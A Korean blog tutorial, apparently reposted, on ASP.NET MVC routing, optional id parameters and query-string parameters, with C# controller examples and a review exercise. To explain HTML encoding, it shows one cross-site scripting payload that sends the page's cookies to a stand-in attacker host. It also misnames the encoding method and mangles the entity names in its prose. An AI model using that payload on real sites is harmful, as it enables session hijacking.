posted by 방랑군 2012. 1. 5. 00:06

출처 : http://blog.naver.com/empty_wagon?Redirect=Log&logNo=20147480185 

강에서 ASP.NET MVC의 주소는 다음과 같은 스타일로 된다고 말씀을 드렸었습니다.

 

컨트롤러 이름/함수 이름/id?param=value

 

이제 이 id와 id 뒤에 '?'로 시작하는 내용들에 대해서 이야기를 하도록 하겠습니다.

 

 

어디서 이런 주소 방식이 정해졌을까?

 

위의 주소 형식은 Global.asax 파일에 아래와 같은 코드로 정의되어 있습니다.

 

public static void RegisterRoutes(RouteCollection routes)

{

    routes.IgnoreRoute("{resource}.axd/{*pathInfo}");

 

    routes.MapRoute(

        "Default"// Route name

        "{controller}/{action}/{id}"// URL with parameters

        new { controller = "Home", action = "Index", id = UrlParameter.Optional } // Parameter defaults

    );

 

}

 

진하게 표시한 줄에 보시면 익숙한 내용이 보이실 것입니다. 이 부분을 수정하면, 주소 방식을 마음대로 고칠 수 있습니다. 이 부분에 대해서는 나중에 알아보겠습니다.

 

 

그냥 값 넣어 보기

 

우선은 그냥 값을 넣어 봤습니다.

 

주소창에 localhost:port/Home/Hello/1을 입력해 보았습니다. 딱히 큰 문제가 없이 잘 나옵니다.

 

 

하지만 이런 주소 방식을 선택한 것은 1이라는 숫자를 활용하기 위해서입니다. 이제 1이 들어왔음을 확인해 주기 위해 Hello 함수를 변경하겠습니다.

 

public string Hello(int id)

{

    return "Hello function with id " + id;

}

 

이제 다시 위 주소를 실행하면, 다음과 같이 잘 나옵니다.

 

그런데 이 때 함수를 변경해 주지 않고, 그냥 오버라이딩했으면 어떤 일이 벌어졌을까요?

 

다음과 같은 에러 창을 만나게 됩니다.

 

 

Hello 함수가 두 개인데다가, id는 없어도 되는 변수라서 무슨 함수 불러야 할 지 모르겠다는 뜻입니다.

 

그럼 id가 없을 때에는 기존의 "Hello, HomeController Hello function!"을 출력해 주고, 있을 때에는 "Hello function with id [숫자]"임을 알려 주려면 어떻게 해야 할까요?

 

다음과 같이 int 뒤에 ?를 붙여 주시면 됩니다. 이 때 id에 값이 없으면 id에 null이 들어가게 됩니다.

 

완성된 함수는 다음과 같이 생겼습니다.

 

public string Hello(int? id)

{

    if (id == null)

    {

        return "Hello, HomeController Hello function!";

    }

    return "Hello function with id " + id;

}

 

 

없을 때와 있을 때가 다 각각 잘 나옵니다.

 

 

변수 여러 개 주기

 

id 뒤에도 원하는 정보를 붙이실 수 있습니다.

 

?를 추가해서 원하는 정보를 줄 수 있습니다.

 

우선 Hello함수를 아래와 같이 변경합니다.

 

public string Hello(int? id, string param)

{

    string result = "";

    if (id == null)

    {

        result = "Hello, HomeController Hello function!";

    }

    else

    {

        result = "Hello function with id " + id;

    }

 

    if (param != null)

    {

        string paramString = "param is " + param;

        result += " " + paramString;

    }

 

    return HttpUtility.HtmlEncode(result);

}

 

param이라는 문자열 형의 변수가 추가되었고, param의 내용을 결과에 추가해 주고 있습니다. 그리고 HttpUtility.HtmlEncode라는 함수를 쓰고 있는데 이 함수에 대해서는 강좌 끝부분에서 이야기하겠습니다.

 

주소를 쳐 보면 잘 나옵니다.

 

param을 없애도 잘 됩니다.

 

id를 없애도 잘 됩니다.

 

http://localhost:50373/Home/Hello?param=hello&odd=oddvalue 같이 이상한 주소를 줘도 잘 처리합니다.

 

 

HTTPUtility.EncodeHtml이 뭔가요?

 

웹에는 보안의 문제가 참 많이 있습니다. 대개의 경우 공격자는 만든 사람이 예상하지 못하는 이상한 값을 넣어서 자신이 원하는 결과를 얻고자 합니다.

 

이 원하는 결과를 위해서 입력 값에 코드를 집어 넣습니다. 지금 우리 param 값에도 JavaScript 코드가 들어갈 수 있습니다. 예를 들자면 다음과 같은 것입니다.

 

<script> document.location='http://hacker.web.site/cookie.php?' + document.cookie</script>

 

이 문서의 쿠키를 빼 가는 코드입니다. Cookie가 인증과 관련이 깊을 경우에는 이 쿠키를 빼 가서 심한 경우에는 관리자 노릇을 할 지도 모르는 일입니다.

 

이 때 이 <> 값을 ;lt, ;gt등으로 바꿈으로써 이런 공격을 막기 위해HTTPUtility.EncodeHtml을 사용합니다.

 

 

복습 문제

 

Hello 함수가 param2라는 값을 받아서 처리할 수 있도록 만드시오.

 

'PP > ASP.NET MVC' 카테고리의 다른 글

지랄 같은 MVC  (0) 2012.01.05
ASP.NET MVC3 - Razor 문법  (0) 2012.01.04